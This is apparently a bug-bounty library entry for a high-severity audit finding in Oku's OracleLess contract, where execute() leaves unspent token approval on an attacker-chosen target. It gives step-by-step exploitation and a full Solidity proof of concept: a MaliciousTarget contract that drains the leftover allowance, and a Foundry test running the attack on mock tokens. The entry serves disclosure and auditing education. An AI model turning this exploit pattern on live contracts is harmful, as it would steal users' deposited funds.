# Failure to reset unspent approval to the target address will lead to the wiping of the smart contract balance

OracleLess leaves residual tokenIn approval to the fill target after execute, letting a malicious target pull the full contract balance via transferFrom.

- Payout: Audit contest
- Severity: high
- Program: Oku
- Found by: 0x007
- Disclosed: 2024-11-22
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-11-oku-judging/issues/745
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-11-oku%3AH-6
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:business-logic

**Target:** OracleLess automated-trigger order contract (execute/fillOrder)
**Root cause:** execute() calls safeApprove(target, order.amountIn) before target.call but never resets the allowance to zero afterward, so any unused approval persists on the contract.
**Steps:**
1. Deploy MaliciousTarget whose fallback does `tokenIn.transferFrom(msg.sender, address(this), 1)` and `tokenOut.transfer(msg.sender, 1)`.
2. Attacker creates an order with tokenIn=tokenIn, tokenOut=tokenOut, amountIn=100 ether, minAmountOut=0 via `oracleLess.createOrder(...)`.
3. Attacker calls `oracleLess.fillOrder(1, orderId, address(target), "0x")` so execute approves target for amountIn and calls target.
4. Target's fallback consumes only 1 wei of allowance, leaving ~amountIn-1 approval on OracleLess.
5. Attacker calls `target.spendAllowance(address(oracleLess))` which does `tokenIn.transferFrom(victim, msg.sender, 100 ether - 1)` draining the contract's tokenIn balance.
**How found:** Code review of execute() noticing safeApprove to an attacker-controlled target with no zeroing after the call, combined with refund logic returning unspent tokens to the order creator.
**Exploitation:** Attacker self-fills an order with a malicious target contract that consumes minimal allowance, leaving the contract's approval to the target intact; the target then pulls the full approved amount (and any other tokens the contract holds) via transferFrom, repeatable to drain the entire contract balance.
**Escalation:** Repeatable across orders and also present in the Bracket contract, enabling full balance wipe.
**Insight:** When a contract approves an arbitrary caller-supplied target for a swap/fill, check whether the allowance is zeroed after the call; any residual approval is directly spendable by that target, especially when the target is user-chosen.

## Proof of concept (copied exactly from the original report)

**Malicious target contract and attack test**

```
contract MaliciousTarget {

    IERC20 tokenIn;
    IERC20 tokenOut;

    constructor (IERC20 _tokenIn, IERC20 _tokenOut) {
        tokenIn = _tokenIn;
        tokenOut = _tokenOut;
        
    }

    fallback () external payable {
        tokenIn.transferFrom(msg.sender, address(this), 1);
        tokenOut.transfer(msg.sender, 1);
    }

    function spendAllowance(address victim) external {
        tokenIn.transferFrom(victim, msg.sender, 100 ether - 1);
    }


}


contract PocTest2 is Test {

    AutomationMaster automationMaster;
    OracleLess oracleLess;
    IPermit2 permit2;
    IERC20 tokenIn;
    IERC20 tokenOut;
    MaliciousTarget target;

    address attacker = makeAddr("attacker");
    address alice = makeAddr("alice");

    function setUp() public {
    
        automationMaster = new AutomationMaster();
        oracleLess = new OracleLess(automationMaster, permit2);
        tokenIn = IERC20(address(new ERC20Mock()));
        tokenOut = IERC20(address(new ERC20Mock()));

        target = new MaliciousTarget(tokenIn, tokenOut);
        //MINT
        ERC20Mock(address(tokenIn)).mint(alice, 100 ether);
        ERC20Mock(address(tokenIn)).mint(attacker, 100 ether);
        ERC20Mock(address(tokenOut)).mint(address(target), 1);

    }

    function testAttack() public {
        uint96 orderId;
        //Innocent User
        vm.startPrank(alice);
        tokenIn.approve(address(oracleLess), 100 ether);
        orderId = oracleLess.createOrder(tokenIn, tokenIn, 100 ether, 9 ether, alice, 1, false, '0x0');
        vm.stopPrank();

        //Attacker

        console.log("ATTACKER BALANCE BEFORE ATTACK : ", tokenIn.balanceOf(attacker));
        vm.startPrank(attacker);
        tokenIn.approve(address(oracleLess), 100 ether);
        orderId = oracleLess.createOrder(tokenIn, tokenOut, 100 ether, 0, attacker, 1, false, '0x0');

        oracleLess.fillOrder(1, orderId, address(target), "0x");

        console.log("MALICIOUS CONTRACT ALLOWANCE   : ",tokenIn.allowance(address(oracleLess), address(target)));

        //Spend allowance

        target.spendAllowance(address(oracleLess));

        console.log("ATTACK BALANCE AFTER ATTACK    : ", tokenIn.balanceOf(attacker));

        vm.stopPrank();

    }
```

**execute() approves target without resetting**

```
function execute(
        address target,
        bytes calldata txData,
        Order memory order
    ) internal returns (uint256 amountOut, uint256 tokenInRefund) {
        //update accounting
        uint256 initialTokenIn = order.tokenIn.balanceOf(address(this));
        uint256 initialTokenOut = order.tokenOut.balanceOf(address(this));

        //approve
 @->       order.tokenIn.safeApprove(target, order.amountIn);

        //perform the call
        (bool success, bytes memory reason) = target.call(txData);

        if (!success) {
            revert TransactionFailed(reason);
        }

        uint256 finalTokenIn = order.tokenIn.balanceOf(address(this));
        require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend");
        uint256 finalTokenOut = order.tokenOut.balanceOf(address(this));

        require(
            finalTokenOut - initialTokenOut > order.minAmountOut,
            "Too Little Received"
        );

        amountOut = finalTokenOut - initialTokenOut;
        tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn);
    }
```

